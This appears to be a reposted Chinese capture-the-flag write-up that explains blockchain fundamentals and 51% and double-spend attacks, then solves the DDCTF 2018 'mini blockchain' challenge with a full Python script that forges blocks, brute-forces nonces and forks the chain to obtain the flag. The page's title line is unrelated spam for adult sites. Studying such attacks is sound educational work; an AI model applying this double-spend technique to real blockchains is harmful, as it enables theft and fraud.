压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

區塊鏈與51%算力攻擊&2018-DDCTF-mini blockchain

前言

最近結束的ddctf中mini blockchain一題與最近熱門的區塊鏈緊密掛鉤,緊接著XCTF聯賽的國際比賽starctf同樣出現了一道與區塊鏈相關的題目,于是我只能緊隨潮流,來研究并且學習一波未知領域的知識。

首先放出參考鏈接,膜一波大佬們

http://www.8btc.com/51attack

http://www.lz1y.cn/archives/1372.html

http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/

并且感謝研究區塊鏈課題的同學kxz的ppt資料參考,當然,由于技術拙劣,難免出現錯誤,望各位更正。

區塊鏈與比特幣基礎學習

起源

區塊鏈的概念首次在2008年末由中本聰(Satoshi Nakamoto)發表在比特幣論壇中的論文《Bitcoin: A Peer-to-Peer Electronic Cash System》提出。

論文中區塊鏈技術是構建比特幣數據結構與交易信息加密傳輸的基礎技術,該技術實現了比特幣的挖礦與交易。

區塊鏈是一種支持比特幣運行的底層技術。

2009年1月3日,中本聰在位于芬蘭赫爾辛基的一個小型服務器上挖出了比特幣的第一個區塊——創世區塊(Genesis Block),并獲得了首批“挖礦”獎勵——50個比特幣。

基本概念

區塊鏈是一種去中心化的分布式數據庫

Google上的定義是:

區塊鏈(Blockchain)是指通過去中心化和去信任的方式集體維護一個可靠數據庫的技術方案。

該技術方案讓參與系統中的任意多個節點,把一段時間系統內全部信息交流的數據,通過密碼學算法計算記錄到一個數據塊(block),并且生成該數據塊的指紋用于鏈接(chain)下個數據塊和校驗,系統所有參與節點來共同認定記錄是否為真。

1.去中心化:

即無中央管理機構,沒有管理員。每個人都可以向區塊中寫數據,這就避免了一些大公司壟斷的可能性。

2.分布式:

每個人都可以架設服務器成為區塊鏈的一個節點

3.數據庫:

區塊鏈是存儲數據的

區塊鏈的特點

1、去中心化

由于使用分布式核算和存儲,不存在中心化的硬件或管理機構,任意節點的權利和義務都是均等的,系統中的數據塊由整個系統中具有維護功能的節點來共同維護。

得益于區塊鏈的去中心化特征,比特幣也擁有去中心化的特征 。

2、開放性

系統是開放的,除了交易各方的私有信息被加密外,區塊鏈的數據對所有人公開,任何人都可以通過公開的接口查詢區塊鏈數據和開發相關應用,因此整個系統信息高度透明。

3、自治性

區塊鏈采用基于協商一致的規范和協議(比如一套公開透明的算法)使得整個系統中的所有節點能夠在去信任的環境自由安全的交換數據,使得對“人”的信任改成了對機器的信任,任何人為的干預不起作用。

4、不可篡改

一旦信息經過驗證并添加至區塊鏈,就會永久的存儲起來,除非能夠同時控制住系統中超過51%的節點,否則單個節點上對數據庫的修改是無效的,因此區塊鏈的數據穩定性和可靠性極高。

5、匿名性

由于節點之間的交換遵循固定的算法,其數據交互是無需信任的(區塊鏈中的程序規則會自行判斷活動是否有效),因此交易對手無須通過公開身份的方式讓對方自己產生信任,對信用的累積非常有幫助。

區塊鏈的結構

比特幣是目前區塊鏈技術最廣泛的應用,可以通過比特幣作為實例了解區塊鏈的結構。

但比特幣并不是區塊鏈,區塊鏈是一種技術、平臺。比特幣只是區塊鏈的一個應用。

區塊鏈是由許多區塊組成的鏈,每個區塊由區塊頭和數據組成。

區塊頭里有32字節的父區塊哈希值,父區塊的哈希值由區塊頭各個字段的值連在一起經哈希函數(sha256)運算后得到的哈希值,這樣區塊便鏈接在一起。

如果某一區塊發生改變,那么之后的區塊都必須改變,當區塊足夠多時,計算量是非常大的。在100個區塊以后,區塊鏈已經足夠穩定。幾千個區塊(一個月)后的區塊 鏈將變成確定的歷史,永遠不會改變。這也保證的區塊鏈的安全性。

比特幣沒有中心機構,幾乎所有的完整節點都有一份公共總帳的備份,這份總帳可以被視為認證過的記錄。區塊鏈并不是由一個中心機構創造的,它 是由比特幣網絡中的所有節點各自獨立競爭完成的。
結構圖:
undefined
區塊頭:
undefined

挖礦與比特幣

想要生產下一個區塊,必須計算出當前最新區塊的區塊頭的哈希值。計算哈希值的過程便是挖礦。

但計算出的哈希值要小于目標值,即target。

target=targetmax/difficulty
其中targetmax=0x00000000FFFF0000000000000000000000000000000000000000000000000000
difficulty即區塊頭中的難度目標,difficulty動態變化,控制難度,使一個新區塊的產生周期為10mins
礦工通過遍歷Nonce的值,來尋找合適的哈希值。所以也說挖礦摻雜運氣成分。

Nonce一共32位,所以最大計算次數可以到21.47億。

每個區塊中的第一個交易是特殊的: 它為第一個采到有效區塊的人創建新的比特幣。

開始時為2009年1月每個區塊獎勵50個比特幣,然后到2012年11月減 半為每個區塊獎勵25個比特幣。之后將在2016年的某個時刻再次減半為每個新區塊獎勵12.5個比特幣。基于這個公 式,比特幣挖礦獎勵以指數方式遞減,直到2140年。屆時所有的比特幣(20,999,999,980)全部發行完畢。換句話說 在2140年之后,不會再有新的比特幣產生。

每筆交易都可能包含一筆交易費,在2140年之后,所有的礦工收益都將由交易費構成。

挖礦主要方式是礦池挖礦,獨立挖礦的風險過于龐大,幾乎不可能。通過工作量證明(Nonce)分配收成。

區塊鏈分叉問題

如果兩個礦工同時算出哈希值,由于距離遠近,不同的礦工看到這兩個區塊是有先后順序的。通常情況下,礦工們會把自己先看到的區塊復制過來,然后接著在這個區塊開始新的挖礦工作。于是就出現了兩個區塊鏈:
t017c1a5b861a917c81

但由于算力不同,最終會有一條區塊鏈比較長,當礦工發現全網有一條更長的鏈時,他就會拋棄他當前的鏈,把新的更長的鏈全部復制回來,在這條鏈的基礎上繼續挖礦。所有礦工都這樣操作,這條鏈就成為了主鏈,分叉出來被拋棄掉的鏈就消失了。
t011e304c1f26f2b2dc

區塊鏈攻擊

區塊鏈存在多種攻擊形式:

51%攻擊
扣塊攻擊
雙重花費攻擊
自私采礦攻擊
日蝕攻擊

因為本次題目主要涉及

51%攻擊
雙重花費攻擊

所以我僅在本篇文章中分析這2個攻擊點
(其實二者為一,相輔相成)

所謂51%攻擊即攻擊者掌握了比特幣全網的51%算力之后,用這些算力來重新計算已經確認過的區塊,使塊鏈產生分叉并且獲得利益的行為。

這里就涉及到之前區塊鏈分叉的問題了

還是以之前的圖片為例
t017c1a5b861a917c81
我們假設主鏈為
1(黃)-2(黃)-3(黃)-4(藍)-5(藍)
此時
4(藍)-5(藍)
為已計算確認過的區塊
而攻擊者擁有51%的算力,沒有任何用戶可以超越他的計算速度
于是他從區塊3(黃)開始重新計算
偽造生成區塊

4(黃)-5(黃)-6(黃)

t011e304c1f26f2b2dc
導致之前本已確認的

4(藍)-5(藍)

作廢,使攻擊達成

這樣的攻擊獲利方式也很簡單。其實也就是雙重花費攻擊(后稱雙花攻擊)

我們結合DDCTF這道題目來了解一下

題目分析

個人認為分析flask代碼首要還是查看路由

@app.route(url_prefix + '/')
def homepage():

@app.route(url_prefix + '/flag')
def getFlag():

@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):

@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():

@app.route(url_prefix + '/reset')
def reset_blockchain():

@app.route(url_prefix + '/source_code')
def show_source_code():

路由大致如上

我們從homepage入手,不難發現題目的背景

@app.route(url_prefix + '/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/22. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
    addr_info = 'the bank's addr: ' + bank_address + ', the hacker's addr: ' + hacker_address + ', the shop's addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement + ('<br /><br />rnrn'.join(
        [view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))

我們訪問這個路由

http://116.85.48.107:5000/b942f830cf97e/

發現目前存在3個地址

the bank's addr: b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985

the hacker's addr: 955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131

the shop's addr: b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735

然后關注到每個賬戶的資金

Balance of all addresses: {"b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985": 1, "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735": 0, "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131": 999999}

hacker:999999
bank:1
shop:0

然后關注到輸入與輸出

All utxos: 
{
"07efd7c6-9331-4bc5-9284-3270c2e6b4c1": 
{
"amount": 1, "hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8", 
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985", 
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"},

"f7e645d3-80dc-4211-a144-16bb65e0ce9d":
{
"amount": 999999, 
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d", 
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"
}
 }

以及區塊情況

{
"d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5": 
{
"nonce": "a empty block",
"prev": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"hash": "d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5",
"transactions": [],
"height": 2
},

"10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7": 
{
"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"transactions": [{"input": [],
"signature": [],
"hash": "3babd7fb07e2ad96f824eb2ed39adced4560fadeef92f194f8d51711285f4dab",
"output": [{"amount": 1000000,
"hash": "65019b18f48817c9bf7897bf616c0e72eb88370d60c0a2647fc8fb30b9b4dcfb",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "be4f2b71-f371-446b-be0d-b268352e8adf"}]}],
"height": 0},

"60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d": 
{
"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"hash": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"transactions": [{"input": ["be4f2b71-f371-446b-be0d-b268352e8adf"],
"signature": ["585f3e49f71d97c5a014fd0947e9049fea260796ef65aa6d5ec46bb5bc1ccfb410741da1c1bff8e970ac3149fea6817c"],
"hash": "75da7f7eb267f1203fcc3e34347b2d109160a9836e140d3f500be8d6904bdfd5",
"output": [{"amount": 999999,
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"},
{"amount": 1,
"hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"}]}],
"height": 1}
}

我們可以知道

第一個區塊:創世區塊

向銀行地址發放DDB為1000000

第二個區塊:黑客添加區塊

讓銀行賬戶向黑客賬戶轉賬999999 DDB

第三個區塊:空區塊

然后我們查看getflag的方式

@app.route(url_prefix + '/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2: return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(
        session['your_diamonds']) + shop_address

題目要求我們的鉆石數大于等于2,即可返回flag

我們去查看如何獲得鉆石,定位到

@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg

發現即shop的賬戶中擁有1000000即可獲得鉆石一枚

但是我們該系統中一共只有100萬的DDB,如何去購買2顆鉆石呢?

這里就涉及到了雙花攻擊(51%攻擊)

顧名思義,雙花攻擊,花費100萬,購買200萬的物品,甚至更多的物品。

首先明確一點,這時沒有人和我們比拼算力

即我們擁有100%的算力,所以我們可以輕松添加區塊,改變主鏈走向

那么這和雙花攻擊有什么關系呢?

我們從下面的圖片進行分析
undefined

藍色為目前題目的3個區塊

區塊操作之前已經描述

第一個區塊:創世區塊 向銀行地址發放DDB為1000000 第二個區塊:黑客添加區塊 讓銀行賬戶向黑客賬戶轉賬999999 DDB 第三個區塊:空區塊

而由于我們擁有100%算力,我們可以使用攻擊,重新計算已經確認過的區塊,改變區塊走向
故此我們來到3個紅色區塊的地方

黑客區塊2:向shop轉賬100萬 黑客區塊3:空區塊 黑客區塊4:空區塊

此時由于我們算力最強,沒有人可以計算的過我們,我們成功改變主鏈走向
此時主鏈變為
undefined

而由于現在主鏈變為紅色部分,之前黑客的操作全部作廢

所以此時我們的操作成立,即shop獲得100萬,我們獲得鉆石一枚

此時我們可以觸發雙花攻擊

即我們讓shop把這100萬轉出去,然后改變主鏈走向,讓這一操作不成立,則100萬又會返回到shop,此時我們的鉆石又會繼續+1

如圖
undefined
我們現在的主鏈為紅色部分,我們在黑客區塊5,讓shop給shop_wallet_addressz轉賬100萬
然后我們利用最強算力
重新計算黑客區塊5(已確認過的區塊)
生成空區塊(綠色部分)

黑客區塊6 黑客區塊7

由于我們后續創建的分叉支路(綠色)更長

所以成為主鏈
undefined
之前的shop轉賬操作作廢,100萬回到shop手中
此時我們的鉆石即可再次+1
故此可以完成此題

payload構造

首先我們關注到hacker區塊的寫法,即原始第二個區塊

為了模仿黑客創建區塊的轉賬寫法,我們去跟一跟源碼,以便創造我們自己的偽區塊,給shop轉賬
從路由

@app.route(url_prefix + '/')

中我們可以看到

def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()

我們跟進get_balance_of_all()

def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

我們跟進init()

second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)

我們繼續跟進create_block()

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block

可以得到區塊生成需要的元素

block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}

其中
prev為前一個區塊的hash
nonce需要我們自行爆破遍歷
transactions(交易)需要我們自己計算
然后我們跟進append_block()
不難發現關鍵語句

block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height'] + 1

其中要求

if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')

故此我們可以寫出爆破函數

def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b['nonce'] = msg+str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1

而關于transactions的計算在create_block()中同樣有體現,我就不贅述了,可以濃縮為

tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]

至此三元素基本解決

值得一提的是,空區塊無需計算transactions,所以基本就是爆破遍歷Nonce了

最后可以寫出一鍵化運行腳本

payload

安裝好庫依賴,一鍵化腳本,直接運行即可獲得flag

# # -*- encoding: utf-8 -*-
import rsa, uuid, json, copy,requests,re,hashlib
# 獲取初始session
url = "http://116.85.48.107:5000/b942f830cf97e/"
r = requests.get(url=url)
session = r.headers['Set-Cookie'].split(";")[0][8:]
Cookie = {
    "session":session
}
r = requests.get(url=url,cookies=Cookie)
# 獲取需要的信息
genesis_hash_re = r'hash of genesis block: (.*?)<br /><br />'
genesis_hash = re.findall(genesis_hash_re, r.content)[0]

shop_address_re = r", the shop's addr: (.*?)<br /><br />"
shop_address = re.findall(shop_address_re, r.content)[0]

input_re = r'''[{"input": ["(.*?)"],'''
input = re.findall(input_re, r.content)[0]

signature_re = r'''"], "signature": ["(.*?)"]'''
signature = re.findall(signature_re, r.content)[0]

txout_id = str(uuid.uuid4())
#工作量證明
def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b['nonce'] = msg+str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1
def myprint(b):
    return json.dumps(b)

DIFFICULTY = int('00000' + 'f' * 59, 16)

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x) + hash(y))

EMPTY_HASH = '0' * 64

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'],
                                 reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def empty_block(msg, prevHash):
    b={}
    b["prev"] = prevHash
    b["transactions"] = []
    b = pow(b, DIFFICULTY, msg)
    return b

#從創世塊開始分叉,給商店轉1000000
block1 = {}
block1["prev"] = genesis_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, DIFFICULTY)
url_begin = "http://116.85.48.107:5000/b942f830cf97e/create_transaction"
def header_change(session):
    header = {
    "Host":"116.85.48.107:5000",
    "Upgrade-Insecure-Requests":"1",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language":"zh-CN,zh;q=0.8",
    "Cookie":"session="+session,
    "Connection":"close",
    "Content-Type":"application/json"
    }
    return header
s1 = requests.post(url=url_begin,data=myprint(block1),headers=header_change(session))
session1 = s1.headers['Set-Cookie'].split(";")[0][8:]
print s1.content
#構造空塊增加分叉鏈長度,使分叉鏈最長,因為max的結果不唯一,少則一次多則兩次
block2 = empty_block("myempty1", block1["hash"])
s2 = requests.post(url=url_begin,data=myprint(block2),headers=header_change(session1))
session2 = s2.headers['Set-Cookie'].split(";")[0][8:]
print s2.content
block3 = empty_block("myempty2", block2["hash"])
s3 = requests.post(url=url_begin,data=myprint(block3),headers=header_change(session2))
session3 = s3.headers['Set-Cookie'].split(";")[0][8:]
print s3.content
#余額更新成功,系統自動添加塊,轉走商店錢,鉆石+1
#從自己的塊,即系統轉走錢之前的那個塊再次分叉,添加空塊
block4 = empty_block("myempty3", block3["hash"])
s4 = requests.post(url=url_begin,data=myprint(block4),headers=header_change(session3))
session4 = s4.headers['Set-Cookie'].split(";")[0][8:]
print s4.content
block5 = empty_block("myempty4", block4["hash"])
s5 = requests.post(url=url_begin,data=myprint(block5),headers=header_change(session4))
session5 = s5.headers['Set-Cookie'].split(";")[0][8:]
print s5.content

flag_url = "http://116.85.48.107:5000/b942f830cf97e/flag"
flag = requests.get(url=flag_url,headers=header_change(session5))
print flag.content
#新的分叉鏈最長,余額更新成功,鉆石+1

運行結果

transaction finished.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished.
Here is your flag: DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}

最后得到flag

DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}

 

后記

區塊鏈博大精深,初涉皮毛,希望以后可以深入學習,順應時代潮流~

原文:https://www.anquanke.com/post/id/105835

上一篇:一個Linux平臺的“門羅幣”挖礦木馬的查殺與分析

下一篇:軟硬通吃的阿里安全新生代白帽